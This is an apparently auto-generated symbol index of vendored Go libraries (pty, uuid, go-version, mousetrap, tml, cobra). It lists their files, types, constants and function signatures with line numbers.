FILE: vendor/github.com/creack/pty/ztypes_freebsd_arm.go
  constant _C_SPECNAMELEN (line 10) | _C_SPECNAMELEN = 0x3f
  type fiodgnameArg (line 13) | type fiodgnameArg struct

FILE: vendor/github.com/creack/pty/ztypes_freebsd_arm64.go
  constant _C_SPECNAMELEN (line 10) | _C_SPECNAMELEN = 0xff
  type fiodgnameArg (line 13) | type fiodgnameArg struct

FILE: vendor/github.com/creack/pty/ztypes_freebsd_ppc64.go
  constant _C_SPECNAMELEN (line 7) | _C_SPECNAMELEN = 0x3f
  type fiodgnameArg (line 10) | type fiodgnameArg struct

FILE: vendor/github.com/creack/pty/ztypes_loong64.go
  type _C_int (line 10) | type _C_int
  type _C_uint (line 11) | type _C_uint

FILE: vendor/github.com/creack/pty/ztypes_mipsx.go
  type _C_int (line 11) | type _C_int
  type _C_uint (line 12) | type _C_uint

FILE: vendor/github.com/creack/pty/ztypes_netbsd_32bit_int.go
  type ptmget (line 7) | type ptmget struct

FILE: vendor/github.com/creack/pty/ztypes_openbsd_32bit_int.go
  type ptmget (line 7) | type ptmget struct

FILE: vendor/github.com/creack/pty/ztypes_ppc64.go
  type _C_int (line 10) | type _C_int
  type _C_uint (line 11) | type _C_uint

FILE: vendor/github.com/creack/pty/ztypes_ppc64le.go
  type _C_int (line 10) | type _C_int
  type _C_uint (line 11) | type _C_uint

FILE: vendor/github.com/creack/pty/ztypes_riscvx.go
  type _C_int (line 10) | type _C_int
  type _C_uint (line 11) | type _C_uint

FILE: vendor/github.com/creack/pty/ztypes_s390x.go
  type _C_int (line 10) | type _C_int
  type _C_uint (line 11) | type _C_uint

FILE: vendor/github.com/google/uuid/dce.go
  type Domain (line 14) | type Domain
    method String (line 70) | func (d Domain) String() string {
  constant Person (line 18) | Person = Domain(0)
  constant Group (line 19) | Group  = Domain(1)
  constant Org (line 20) | Org    = Domain(2)
  function NewDCESecurity (line 32) | func NewDCESecurity(domain Domain, id uint32) (UUID, error) {
  function NewDCEPerson (line 46) | func NewDCEPerson() (UUID, error) {
  function NewDCEGroup (line 54) | func NewDCEGroup() (UUID, error) {
  method Domain (line 60) | func (uuid UUID) Domain() Domain {
  method ID (line 66) | func (uuid UUID) ID() uint32 {

FILE: vendor/github.com/google/uuid/hash.go
  function NewHash (line 27) | func NewHash(h hash.Hash, space UUID, data []byte, version int) UUID {
  function NewMD5 (line 43) | func NewMD5(space UUID, data []byte) UUID {
  function NewSHA1 (line 51) | func NewSHA1(space UUID, data []byte) UUID {

FILE: vendor/github.com/google/uuid/marshal.go
  method MarshalText (line 10) | func (uuid UUID) MarshalText() ([]byte, error) {
  method UnmarshalText (line 17) | func (uuid *UUID) UnmarshalText(data []byte) error {
  method MarshalBinary (line 27) | func (uuid UUID) MarshalBinary() ([]byte, error) {
  method UnmarshalBinary (line 32) | func (uuid *UUID) UnmarshalBinary(data []byte) error {

FILE: vendor/github.com/google/uuid/node.go
  function NodeInterface (line 21) | func NodeInterface() string {
  function SetNodeInterface (line 33) | func SetNodeInterface(name string) bool {
  function setNodeInterface (line 39) | func setNodeInterface(name string) bool {
  function NodeID (line 60) | func NodeID() []byte {
  function SetNodeID (line 73) | func SetNodeID(id []byte) bool {
  method NodeID (line 86) | func (uuid UUID) NodeID() []byte {

FILE: vendor/github.com/google/uuid/node_js.go
  function getHardwareInterface (line 12) | func getHardwareInterface(name string) (string, []byte) { return "", nil }

FILE: vendor/github.com/google/uuid/node_net.go
  function getHardwareInterface (line 19) | func getHardwareInterface(name string) (string, []byte) {

FILE: vendor/github.com/google/uuid/null.go
  type NullUUID (line 29) | type NullUUID struct
    method Scan (line 35) | func (nu *NullUUID) Scan(value interface{}) error {
    method Value (line 52) | func (nu NullUUID) Value() (driver.Value, error) {
    method MarshalBinary (line 61) | func (nu NullUUID) MarshalBinary() ([]byte, error) {
    method UnmarshalBinary (line 70) | func (nu *NullUUID) UnmarshalBinary(data []byte) error {
    method MarshalText (line 80) | func (nu NullUUID) MarshalText() ([]byte, error) {
    method UnmarshalText (line 89) | func (nu *NullUUID) UnmarshalText(data []byte) error {
    method MarshalJSON (line 101) | func (nu NullUUID) MarshalJSON() ([]byte, error) {
    method UnmarshalJSON (line 110) | func (nu *NullUUID) UnmarshalJSON(data []byte) error {

FILE: vendor/github.com/google/uuid/sql.go
  method Scan (line 15) | func (uuid *UUID) Scan(src interface{}) error {
  method Value (line 57) | func (uuid UUID) Value() (driver.Value, error) {

FILE: vendor/github.com/google/uuid/time.go
  type Time (line 15) | type Time
    method UnixTime (line 35) | func (t Time) UnixTime() (sec, nsec int64) {
  constant lillian (line 18) | lillian    = 2299160
  constant unix (line 19) | unix       = 2440587
  constant epoch (line 20) | epoch      = unix - lillian
  constant g1582 (line 21) | g1582      = epoch * 86400
  constant g1582ns100 (line 22) | g1582ns100 = g1582 * 10000000
  function GetTime (line 45) | func GetTime() (Time, uint16, error) {
  function getTime (line 51) | func getTime() (Time, uint16, error) {
  function ClockSequence (line 76) | func ClockSequence() int {
  function clockSequence (line 82) | func clockSequence() int {
  function SetClockSequence (line 91) | func SetClockSequence(seq int) {
  function setClockSequence (line 97) | func setClockSequence(seq int) {
  method Time (line 112) | func (uuid UUID) Time() Time {
  method ClockSequence (line 121) | func (uuid UUID) ClockSequence() int {

FILE: vendor/github.com/google/uuid/util.go
  function randomBits (line 12) | func randomBits(b []byte) {
  function xtob (line 39) | func xtob(x1, x2 byte) (byte, bool) {

FILE: vendor/github.com/google/uuid/uuid.go
  type UUID (line 20) | type UUID
    method String (line 185) | func (uuid UUID) String() string {
    method URN (line 193) | func (uuid UUID) URN() string {
    method Variant (line 213) | func (uuid UUID) Variant() Variant {
    method Version (line 227) | func (uuid UUID) Version() Version {
  type Version (line 23) | type Version
    method String (line 231) | func (v Version) String() string {
  type Variant (line 26) | type Variant
    method String (line 238) | func (v Variant) String() string {
  constant Invalid (line 30) | Invalid   = Variant(iota)
  constant RFC4122 (line 31) | RFC4122
  constant Reserved (line 32) | Reserved
  constant Microsoft (line 33) | Microsoft
  constant Future (line 34) | Future
  constant randPoolSize (line 37) | randPoolSize = 16 * 16
  type invalidLengthError (line 47) | type invalidLengthError struct
    method Error (line 49) | func (err invalidLengthError) Error() string {
  function IsInvalidLengthError (line 54) | func IsInvalidLengthError(err error) bool {
  function Parse (line 64) | func Parse(s string) (UUID, error) {
  function ParseBytes (line 115) | func ParseBytes(b []byte) (UUID, error) {
  function MustParse (line 160) | func MustParse(s string) UUID {
  function FromBytes (line 170) | func FromBytes(b []byte) (uuid UUID, err error) {
  function Must (line 176) | func Must(uuid UUID, err error) UUID {
  function encodeHex (line 200) | func encodeHex(dst []byte, uuid UUID) {
  function SetRand (line 260) | func SetRand(r io.Reader) {
  function EnableRandPool (line 279) | func EnableRandPool() {
  function DisableRandPool (line 289) | func DisableRandPool() {

FILE: vendor/github.com/google/uuid/version1.go
  function NewUUID (line 19) | func NewUUID() (UUID, error) {

FILE: vendor/github.com/google/uuid/version4.go
  function New (line 13) | func New() UUID {
  function NewString (line 21) | func NewString() string {
  function NewRandom (line 39) | func NewRandom() (UUID, error) {
  function NewRandomFromReader (line 47) | func NewRandomFromReader(r io.Reader) (UUID, error) {
  function newRandomFromPool (line 58) | func newRandomFromPool() (UUID, error) {

FILE: vendor/github.com/hashicorp/go-version/constraint.go
  type Constraint (line 13) | type Constraint struct
    method Equals (line 20) | func (c *Constraint) Equals(con *Constraint) bool {
    method Check (line 162) | func (c *Constraint) Check(v *Version) bool {
    method String (line 166) | func (c *Constraint) String() string {
  type Constraints (line 26) | type Constraints
    method Check (line 91) | func (cs Constraints) Check(v *Version) bool {
    method Equals (line 109) | func (cs Constraints) Equals(c Constraints) bool {
    method Len (line 132) | func (cs Constraints) Len() int {
    method Less (line 136) | func (cs Constraints) Less(i, j int) bool {
    method Swap (line 147) | func (cs Constraints) Swap(i, j int) {
    method String (line 152) | func (cs Constraints) String() string {
  type constraintFunc (line 28) | type constraintFunc
  type constraintOperation (line 32) | type constraintOperation struct
  function init (line 39) | func init() {
  function NewConstraint (line 65) | func NewConstraint(v string) (Constraints, error) {
  function MustConstraints (line 82) | func MustConstraints(c Constraints, err error) Constraints {
  function parseSingle (line 170) | func parseSingle(v string) (*Constraint, error) {
  function prereleaseCheck (line 191) | func prereleaseCheck(v, c *Version) bool {
  type operator (line 215) | type operator
  constant equal (line 218) | equal            operator = '='
  constant notEqual (line 219) | notEqual         operator = '≠'
  constant greaterThan (line 220) | greaterThan      operator = '>'
  constant lessThan (line 221) | lessThan         operator = '<'
  constant greaterThanEqual (line 222) | greaterThanEqual operator = '≥'
  constant lessThanEqual (line 223) | lessThanEqual    operator = '≤'
  constant pessimistic (line 224) | pessimistic      operator = '~'
  function constraintEqual (line 227) | func constraintEqual(v, c *Version) bool {
  function constraintNotEqual (line 231) | func constraintNotEqual(v, c *Version) bool {
  function constraintGreaterThan (line 235) | func constraintGreaterThan(v, c *Version) bool {
  function constraintLessThan (line 239) | func constraintLessThan(v, c *Version) bool {
  function constraintGreaterThanEqual (line 243) | func constraintGreaterThanEqual(v, c *Version) bool {
  function constraintLessThanEqual (line 247) | func constraintLessThanEqual(v, c *Version) bool {
  function constraintPessimistic (line 251) | func constraintPessimistic(v, c *Version) bool {

FILE: vendor/github.com/hashicorp/go-version/version.go
  constant VersionRegexpRaw (line 21) | VersionRegexpRaw string = `v?([0-9]+(\.[0-9]+)*?)` +
  constant SemverRegexpRaw (line 27) | SemverRegexpRaw string = `v?([0-9]+(\.[0-9]+)*?)` +
  type Version (line 34) | type Version struct
    method Compare (line 114) | func (v *Version) Compare(other *Version) int {
    method Core (line 281) | func (v *Version) Core() *Version {
    method Equal (line 288) | func (v *Version) Equal(o *Version) bool {
    method GreaterThan (line 297) | func (v *Version) GreaterThan(o *Version) bool {
    method GreaterThanOrEqual (line 302) | func (v *Version) GreaterThanOrEqual(o *Version) bool {
    method LessThan (line 307) | func (v *Version) LessThan(o *Version) bool {
    method LessThanOrEqual (line 312) | func (v *Version) LessThanOrEqual(o *Version) bool {
    method Metadata (line 321) | func (v *Version) Metadata() string {
    method Prerelease (line 331) | func (v *Version) Prerelease() string {
    method Segments (line 340) | func (v *Version) Segments() []int {
    method Segments64 (line 353) | func (v *Version) Segments64() []int64 {
    method String (line 367) | func (v *Version) String() string {
    method Original (line 388) | func (v *Version) Original() string {
    method UnmarshalText (line 393) | func (v *Version) UnmarshalText(b []byte) error {
    method MarshalText (line 405) | func (v *Version) MarshalText() ([]byte, error) {
  function init (line 42) | func init() {
  function NewVersion (line 49) | func NewVersion(v string) (*Version, error) {
  function NewSemver (line 56) | func NewSemver(v string) (*Version, error) {
  function newVersion (line 60) | func newVersion(v string, pattern *regexp.Regexp) (*Version, error) {
  function Must (line 100) | func Must(v *Version, err error) *Version {
  function allZero (line 183) | func allZero(segs []int64) bool {
  function comparePart (line 192) | func comparePart(preSelf string, preOther string) int {
  function comparePrereleases (line 239) | func comparePrereleases(v string, other string) int {

FILE: vendor/github.com/hashicorp/go-version/version_collection.go
  type Collection (line 5) | type Collection
    method Len (line 7) | func (v Collection) Len() int {
    method Less (line 11) | func (v Collection) Less(i, j int) bool {
    method Swap (line 15) | func (v Collection) Swap(i, j int) {

FILE: vendor/github.com/inconshreveable/mousetrap/trap_others.go
  function StartedByExplorer (line 13) | func StartedByExplorer() bool {

FILE: vendor/github.com/inconshreveable/mousetrap/trap_windows.go
  constant th32cs_snapprocess (line 15) | th32cs_snapprocess uintptr = 0x2
  type processEntry32 (line 26) | type processEntry32 struct
  function getProcessEntry (line 39) | func getProcessEntry(pid int) (pe *processEntry32, err error) {
  function getppid (line 69) | func getppid() (pid int, err error) {
  function StartedByExplorer (line 85) | func StartedByExplorer() bool {

FILE: vendor/github.com/inconshreveable/mousetrap/trap_windows_1.4.go
  function getProcessEntry (line 12) | func getProcessEntry(pid int) (*syscall.ProcessEntry32, error) {
  function StartedByExplorer (line 40) | func StartedByExplorer() bool {

FILE: vendor/github.com/liamg/tml/disable.go
  function DisableFormatting (line 8) | func DisableFormatting() {
  function EnableFormatting (line 14) | func EnableFormatting() {

FILE: vendor/github.com/liamg/tml/new_line.go
  function NewLine (line 4) | func NewLine() {

FILE: vendor/github.com/liamg/tml/parse.go
  function Parse (line 9) | func Parse(input string) (string, error) {

FILE: vendor/github.com/liamg/tml/parser.go
  type Parser (line 10) | type Parser struct
    method handleTag (line 93) | func (p *Parser) handleTag(name string) bool {
    method Parse (line 141) | func (p *Parser) Parse(reader io.Reader) error {
  type parserState (line 17) | type parserState struct
    method setFg (line 49) | func (s *parserState) setFg(esc string) string {
    method setBg (line 57) | func (s *parserState) setBg(esc string) string {
    method setAttr (line 65) | func (s *parserState) setAttr(attr int8) string {
  type attrs (line 23) | type attrs
  constant bold (line 26) | bold uint8 = 1 << iota
  constant dim (line 27) | dim
  constant underline (line 28) | underline
  constant blink (line 29) | blink
  constant reverse (line 30) | reverse
  constant hidden (line 31) | hidden
  constant italic (line 32) | italic
  function NewParser (line 85) | func NewParser(w io.Writer) *Parser {

FILE: vendor/github.com/liamg/tml/printf.go
  function Printf (line 11) | func Printf(input string, a ...interface{}) error {
  function Fprintf (line 15) | func Fprintf(w io.Writer, input string, a ...interface{}) error {

FILE: vendor/github.com/liamg/tml/println.go
  function Println (line 10) | func Println(input string) {
  function Fprintln (line 14) | func Fprintln(w io.Writer, input string) {

FILE: vendor/github.com/liamg/tml/sprintf.go
  function Sprintf (line 7) | func Sprintf(input string, a ...interface{}) string {

FILE: vendor/github.com/spf13/cobra/active_help.go
  constant activeHelpMarker (line 10) | activeHelpMarker = "_activeHelp_ "
  constant activeHelpEnvVarSuffix (line 13) | activeHelpEnvVarSuffix  = "_ACTIVE_HELP"
  constant activeHelpGlobalEnvVar (line 14) | activeHelpGlobalEnvVar  = "COBRA_ACTIVE_HELP"
  constant activeHelpGlobalDisable (line 15) | activeHelpGlobalDisable = "0"
  function AppendActiveHelp (line 25) | func AppendActiveHelp(compArray []string, activeHelpStr string) []string {
  function GetActiveHelpConfig (line 34) | func GetActiveHelpConfig(cmd *Command) string {
  function activeHelpEnvVar (line 45) | func activeHelpEnvVar(name string) string {

FILE: vendor/github.com/spf13/cobra/args.go
  type PositionalArgs (line 8) | type PositionalArgs
  function legacyArgs (line 14) | func legacyArgs(cmd *Command, args []string) error {
  function NoArgs (line 28) | func NoArgs(cmd *Command, args []string) error {
  function OnlyValidArgs (line 36) | func OnlyValidArgs(cmd *Command, args []string) error {
  function ArbitraryArgs (line 55) | func ArbitraryArgs(cmd *Command, args []string) error {
  function MinimumNArgs (line 60) | func MinimumNArgs(n int) PositionalArgs {
  function MaximumNArgs (line 70) | func MaximumNArgs(n int) PositionalArgs {
  function ExactArgs (line 80) | func ExactArgs(n int) PositionalArgs {
  function ExactValidArgs (line 92) | func ExactValidArgs(n int) PositionalArgs {
  function RangeArgs (line 102) | func RangeArgs(min int, max int) PositionalArgs {
  function MatchAll (line 112) | func MatchAll(pargs ...PositionalArgs) PositionalArgs {

FILE: vendor/github.com/spf13/cobra/bash_completions.go
  constant BashCompFilenameExt (line 16) | BashCompFilenameExt     = "cobra_annotation_bash_completion_filename_ext...
  constant BashCompCustom (line 17) | BashCompCustom          = "cobra_annotation_bash_completion_custom"
  constant BashCompOneRequiredFlag (line 18) | BashCompOneRequiredFlag = "cobra_annotation_bash_completion_one_required...
  constant BashCompSubdirsInDir (line 19) | BashCompSubdirsInDir    = "cobra_annotation_bash_completion_subdirs_in_dir"
  function writePreamble (line 22) | func writePreamble(buf io.StringWriter, name string) {
  function writePostscript (line 390) | func writePostscript(buf io.StringWriter, name string) {
  function writeCommands (line 433) | func writeCommands(buf io.StringWriter, cmd *Command) {
  function writeFlagHandler (line 445) | func writeFlagHandler(buf io.StringWriter, name string, annotations map[...
  constant cbn (line 481) | cbn = "\")\n"
  function writeShortFlag (line 483) | func writeShortFlag(buf io.StringWriter, flag *pflag.Flag, cmd *Command) {
  function writeFlag (line 494) | func writeFlag(buf io.StringWriter, flag *pflag.Flag, cmd *Command) {
  function writeLocalNonPersistentFlag (line 509) | func writeLocalNonPersistentFlag(buf io.StringWriter, flag *pflag.Flag) {
  function prepareCustomAnnotationsForFlags (line 522) | func prepareCustomAnnotationsForFlags(cmd *Command) {
  function writeFlags (line 537) | func writeFlags(buf io.StringWriter, cmd *Command) {
  function writeRequiredFlag (line 579) | func writeRequiredFlag(buf io.StringWriter, cmd *Command) {
  function writeRequiredNouns (line 604) | func writeRequiredNouns(buf io.StringWriter, cmd *Command) {
  function writeCmdAliases (line 618) | func writeCmdAliases(buf io.StringWriter, cmd *Command) {
  function writeArgAliases (line 633) | func writeArgAliases(buf io.StringWriter, cmd *Command) {
  function gen (line 641) | func gen(buf io.StringWriter, cmd *Command) {
  method GenBashCompletion (line 672) | func (c *Command) GenBashCompletion(w io.Writer) error {
  function nonCompletableFlag (line 685) | func nonCompletableFlag(flag *pflag.Flag) bool {
  method GenBashCompletionFile (line 690) | func (c *Command) GenBashCompletionFile(filename string) error {

FILE: vendor/github.com/spf13/cobra/bash_completionsV2.go
  method genBashCompletion (line 10) | func (c *Command) genBashCompletion(w io.Writer, includeDesc bool) error {
  function genBashComp (line 17) | func genBashComp(buf io.StringWriter, name string, includeDesc bool) {
  method GenBashCompletionFileV2 (line 355) | func (c *Command) GenBashCompletionFileV2(filename string, includeDesc b...
  method GenBashCompletionV2 (line 367) | func (c *Command) GenBashCompletionV2(w io.Writer, includeDesc bool) err...

FILE: vendor/github.com/spf13/cobra/cobra.go
  function AddTemplateFunc (line 69) | func AddTemplateFunc(name string, tmplFunc interface{}) {
  function AddTemplateFuncs (line 75) | func AddTemplateFuncs(tmplFuncs template.FuncMap) {
  function OnInitialize (line 83) | func OnInitialize(y ...func()) {
  function Gt (line 92) | func Gt(a interface{}, b interface{}) bool {
  function Eq (line 122) | func Eq(a interface{}, b interface{}) bool {
  function trimRightSpace (line 137) | func trimRightSpace(s string) string {
  function appendIfNotPresent (line 144) | func appendIfNotPresent(s, stringToAppend string) string {
  function rpad (line 152) | func rpad(s string, padding int) string {
  function tmpl (line 158) | func tmpl(w io.Writer, text string, data interface{}) error {
  function ld (line 166) | func ld(s, t string, ignoreCase bool) int {
  function stringInSlice (line 201) | func stringInSlice(a string, list []string) bool {
  function CheckErr (line 211) | func CheckErr(msg interface{}) {
  function WriteStringAndCheck (line 219) | func WriteStringAndCheck(b io.StringWriter, s string) {

FILE: vendor/github.com/spf13/cobra/command.go
  type FParseErrWhitelist (line 33) | type FParseErrWhitelist
  type Command (line 39) | type Command struct
    method Context (line 235) | func (c *Command) Context() context.Context {
    method SetContext (line 241) | func (c *Command) SetContext(ctx context.Context) {
    method SetArgs (line 247) | func (c *Command) SetArgs(a []string) {
    method SetOutput (line 254) | func (c *Command) SetOutput(output io.Writer) {
    method SetOut (line 261) | func (c *Command) SetOut(newOut io.Writer) {
    method SetErr (line 267) | func (c *Command) SetErr(newErr io.Writer) {
    method SetIn (line 273) | func (c *Command) SetIn(newIn io.Reader) {
    method SetUsageFunc (line 278) | func (c *Command) SetUsageFunc(f func(*Command) error) {
    method SetUsageTemplate (line 283) | func (c *Command) SetUsageTemplate(s string) {
    method SetFlagErrorFunc (line 289) | func (c *Command) SetFlagErrorFunc(f func(*Command, error) error) {
    method SetHelpFunc (line 294) | func (c *Command) SetHelpFunc(f func(*Command, []string)) {
    method SetHelpCommand (line 299) | func (c *Command) SetHelpCommand(cmd *Command) {
    method SetHelpTemplate (line 304) | func (c *Command) SetHelpTemplate(s string) {
    method SetVersionTemplate (line 309) | func (c *Command) SetVersionTemplate(s string) {
    method SetGlobalNormalizationFunc (line 315) | func (c *Command) SetGlobalNormalizationFunc(n func(f *flag.FlagSet, n...
    method OutOrStdout (line 326) | func (c *Command) OutOrStdout() io.Writer {
    method OutOrStderr (line 331) | func (c *Command) OutOrStderr() io.Writer {
    method ErrOrStderr (line 336) | func (c *Command) ErrOrStderr() io.Writer {
    method InOrStdin (line 341) | func (c *Command) InOrStdin() io.Reader {
    method getOut (line 345) | func (c *Command) getOut(def io.Writer) io.Writer {
    method getErr (line 355) | func (c *Command) getErr(def io.Writer) io.Writer {
    method getIn (line 365) | func (c *Command) getIn(def io.Reader) io.Reader {
    method UsageFunc (line 377) | func (c *Command) UsageFunc() (f func(*Command) error) {
    method Usage (line 397) | func (c *Command) Usage() error {
    method HelpFunc (line 403) | func (c *Command) HelpFunc() func(*Command, []string) {
    method Help (line 424) | func (c *Command) Help() error {
    method UsageString (line 430) | func (c *Command) UsageString() string {
    method FlagErrorFunc (line 451) | func (c *Command) FlagErrorFunc() (f func(*Command, error) error) {
    method UsagePadding (line 467) | func (c *Command) UsagePadding() int {
    method CommandPathPadding (line 477) | func (c *Command) CommandPathPadding() int {
    method NamePadding (line 487) | func (c *Command) NamePadding() int {
    method UsageTemplate (line 495) | func (c *Command) UsageTemplate() string {
    method HelpTemplate (line 530) | func (c *Command) HelpTemplate() string {
    method VersionTemplate (line 544) | func (c *Command) VersionTemplate() string {
    method Find (line 635) | func (c *Command) Find(args []string) (*Command, []string, error) {
    method findSuggestions (line 659) | func (c *Command) findSuggestions(arg string) string {
    method findNext (line 676) | func (c *Command) findNext(next string) *Command {
    method Traverse (line 697) | func (c *Command) Traverse(args []string) (*Command, []string, error) {
    method SuggestionsFor (line 739) | func (c *Command) SuggestionsFor(typedName string) []string {
    method VisitParents (line 760) | func (c *Command) VisitParents(fn func(*Command)) {
    method Root (line 768) | func (c *Command) Root() *Command {
    method ArgsLenAtDash (line 777) | func (c *Command) ArgsLenAtDash() int {
    method execute (line 781) | func (c *Command) execute(a []string) (err error) {
    method preRun (line 900) | func (c *Command) preRun() {
    method ExecuteContext (line 909) | func (c *Command) ExecuteContext(ctx context.Context) error {
    method Execute (line 917) | func (c *Command) Execute() error {
    method ExecuteContextC (line 925) | func (c *Command) ExecuteContextC(ctx context.Context) (*Command, erro...
    method ExecuteC (line 931) | func (c *Command) ExecuteC() (cmd *Command, err error) {
    method ValidateArgs (line 1014) | func (c *Command) ValidateArgs(args []string) error {
    method validateRequiredFlags (line 1021) | func (c *Command) validateRequiredFlags() error {
    method InitDefaultHelpFlag (line 1047) | func (c *Command) InitDefaultHelpFlag() {
    method InitDefaultVersionFlag (line 1064) | func (c *Command) InitDefaultVersionFlag() {
    method InitDefaultHelpCmd (line 1088) | func (c *Command) InitDefaultHelpCmd() {
    method ResetCommands (line 1135) | func (c *Command) ResetCommands() {
    method Commands (line 1150) | func (c *Command) Commands() []*Command {
    method AddCommand (line 1160) | func (c *Command) AddCommand(cmds ...*Command) {
    method RemoveCommand (line 1189) | func (c *Command) RemoveCommand(cmds ...*Command) {
    method Print (line 1223) | func (c *Command) Print(i ...interface{}) {
    method Println (line 1228) | func (c *Command) Println(i ...interface{}) {
    method Printf (line 1233) | func (c *Command) Printf(format string, i ...interface{}) {
    method PrintErr (line 1238) | func (c *Command) PrintErr(i ...interface{}) {
    method PrintErrln (line 1243) | func (c *Command) PrintErrln(i ...interface{}) {
    method PrintErrf (line 1248) | func (c *Command) PrintErrf(format string, i ...interface{}) {
    method CommandPath (line 1253) | func (c *Command) CommandPath() string {
    method UseLine (line 1261) | func (c *Command) UseLine() string {
    method DebugFlags (line 1279) | func (c *Command) DebugFlags() {
    method Name (line 1319) | func (c *Command) Name() string {
    method HasAlias (line 1329) | func (c *Command) HasAlias(s string) bool {
    method CalledAs (line 1340) | func (c *Command) CalledAs() string {
    method hasNameOrAliasPrefix (line 1349) | func (c *Command) hasNameOrAliasPrefix(prefix string) bool {
    method NameAndAliases (line 1364) | func (c *Command) NameAndAliases() string {
    method HasExample (line 1369) | func (c *Command) HasExample() bool {
    method Runnable (line 1374) | func (c *Command) Runnable() bool {
    method HasSubCommands (line 1379) | func (c *Command) HasSubCommands() bool {
    method IsAvailableCommand (line 1385) | func (c *Command) IsAvailableCommand() bool {
    method IsAdditionalHelpTopicCommand (line 1406) | func (c *Command) IsAdditionalHelpTopicCommand() bool {
    method HasHelpSubCommands (line 1426) | func (c *Command) HasHelpSubCommands() bool {
    method HasAvailableSubCommands (line 1440) | func (c *Command) HasAvailableSubCommands() bool {
    method HasParent (line 1455) | func (c *Command) HasParent() bool {
    method GlobalNormalizationFunc (line 1460) | func (c *Command) GlobalNormalizationFunc() func(f *flag.FlagSet, name...
    method Flags (line 1466) | func (c *Command) Flags() *flag.FlagSet {
    method LocalNonPersistentFlags (line 1479) | func (c *Command) LocalNonPersistentFlags() *flag.FlagSet {
    method LocalFlags (line 1492) | func (c *Command) LocalFlags() *flag.FlagSet {
    method InheritedFlags (line 1518) | func (c *Command) InheritedFlags() *flag.FlagSet {
    method NonInheritedFlags (line 1543) | func (c *Command) NonInheritedFlags() *flag.FlagSet {
    method PersistentFlags (line 1548) | func (c *Command) PersistentFlags() *flag.FlagSet {
    method ResetFlags (line 1560) | func (c *Command) ResetFlags() {
    method HasFlags (line 1574) | func (c *Command) HasFlags() bool {
    method HasPersistentFlags (line 1579) | func (c *Command) HasPersistentFlags() bool {
    method HasLocalFlags (line 1584) | func (c *Command) HasLocalFlags() bool {
    method HasInheritedFlags (line 1589) | func (c *Command) HasInheritedFlags() bool {
    method HasAvailableFlags (line 1595) | func (c *Command) HasAvailableFlags() bool {
    method HasAvailablePersistentFlags (line 1600) | func (c *Command) HasAvailablePersistentFlags() bool {
    method HasAvailableLocalFlags (line 1606) | func (c *Command) HasAvailableLocalFlags() bool {
    method HasAvailableInheritedFlags (line 1612) | func (c *Command) HasAvailableInheritedFlags() bool {
    method Flag (line 1617) | func (c *Command) Flag(name string) (flag *flag.Flag) {
    method persistentFlag (line 1628) | func (c *Command) persistentFlag(name string) (flag *flag.Flag) {
    method ParseFlags (line 1641) | func (c *Command) ParseFlags(args []string) error {
    method Parent (line 1665) | func (c *Command) Parent() *Command {
    method mergePersistentFlags (line 1671) | func (c *Command) mergePersistentFlags() {
    method updateParentsPflags (line 1680) | func (c *Command) updateParentsPflags() {
  function hasNoOptDefVal (line 556) | func hasNoOptDefVal(name string, fs *flag.FlagSet) bool {
  function shortHasNoOptDefVal (line 564) | func shortHasNoOptDefVal(name string, fs *flag.FlagSet) bool {
  function stripFlags (line 576) | func stripFlags(args []string, c *Command) []string {
  function argsMinusFirstX (line 616) | func argsMinusFirstX(args []string, x string) []string {
  function isFlagArg (line 628) | func isFlagArg(arg string) bool {
  type commandSorterByName (line 1143) | type commandSorterByName
    method Len (line 1145) | func (c commandSorterByName) Len() int           { return len(c) }
    method Swap (line 1146) | func (c commandSorterByName) Swap(i, j int)      { c[i], c[j] = c[j], ...
    method Less (line 1147) | func (c commandSorterByName) Less(i, j int) bool { return c[i].Name() ...

FILE: vendor/github.com/spf13/cobra/command_win.go
  function preExecHook (line 16) | func preExecHook(c *Command) {

FILE: vendor/github.com/spf13/cobra/completions.go
  constant ShellCompRequestCmd (line 15) | ShellCompRequestCmd = "__complete"
  constant ShellCompNoDescRequestCmd (line 18) | ShellCompNoDescRequestCmd = "__completeNoDesc"
  type ShellCompDirective (line 29) | type ShellCompDirective
    method string (line 131) | func (d ShellCompDirective) string() string {
  type flagCompError (line 31) | type flagCompError struct
    method Error (line 36) | func (e *flagCompError) Error() string {
  constant ShellCompDirectiveError (line 42) | ShellCompDirectiveError ShellCompDirective = 1 << iota
  constant ShellCompDirectiveNoSpace (line 46) | ShellCompDirectiveNoSpace
  constant ShellCompDirectiveNoFileComp (line 50) | ShellCompDirectiveNoFileComp
  constant ShellCompDirectiveFilterFileExt (line 57) | ShellCompDirectiveFilterFileExt
  constant ShellCompDirectiveFilterDirs (line 64) | ShellCompDirectiveFilterDirs
  constant shellCompDirectiveMaxValue (line 70) | shellCompDirectiveMaxValue
  constant ShellCompDirectiveDefault (line 75) | ShellCompDirectiveDefault ShellCompDirective = 0
  constant compCmdName (line 80) | compCmdName              = "completion"
  constant compCmdNoDescFlagName (line 81) | compCmdNoDescFlagName    = "no-descriptions"
  constant compCmdNoDescFlagDesc (line 82) | compCmdNoDescFlagDesc    = "disable completion descriptions"
  constant compCmdNoDescFlagDefault (line 83) | compCmdNoDescFlagDefault = false
  type CompletionOptions (line 87) | type CompletionOptions struct
  function NoFileCompletions (line 102) | func NoFileCompletions(cmd *Command, args []string, toComplete string) (...
  function FixedCompletions (line 108) | func FixedCompletions(choices []string, directive ShellCompDirective) fu...
  method RegisterFlagCompletionFunc (line 115) | func (c *Command) RegisterFlagCompletionFunc(flagName string, f func(cmd...
  method initCompleteCmd (line 159) | func (c *Command) initCompleteCmd(args []string) {
  method getCompletions (line 231) | func (c *Command) getCompletions(args []string) (*Command, []string, She...
  function getFlagNameCompletions (line 466) | func getFlagNameCompletions(flag *pflag.Flag, toComplete string) []string {
  function completeRequireFlags (line 499) | func completeRequireFlags(finalCmd *Command, toComplete string) []string {
  function checkIfFlagCompletion (line 524) | func checkIfFlagCompletion(finalCmd *Command, args []string, lastArg str...
  method initDefaultCompletionCmd (line 615) | func (c *Command) initDefaultCompletionCmd() {
  function findFlag (line 772) | func findFlag(cmd *Command, name string) *pflag.Flag {
  function CompDebug (line 795) | func CompDebug(msg string, printToStdErr bool) {
  function CompDebugln (line 819) | func CompDebugln(msg string, printToStdErr bool) {
  function CompError (line 824) | func CompError(msg string) {
  function CompErrorln (line 830) | func CompErrorln(msg string) {

FILE: vendor/github.com/spf13/cobra/fish_completions.go
  function genFishComp (line 11) | func genFishComp(buf io.StringWriter, name string, includeDesc bool) {
  method GenFishCompletion (line 204) | func (c *Command) GenFishCompletion(w io.Writer, includeDesc bool) error {
  method GenFishCompletionFile (line 212) | func (c *Command) GenFishCompletionFile(filename string, includeDesc boo...

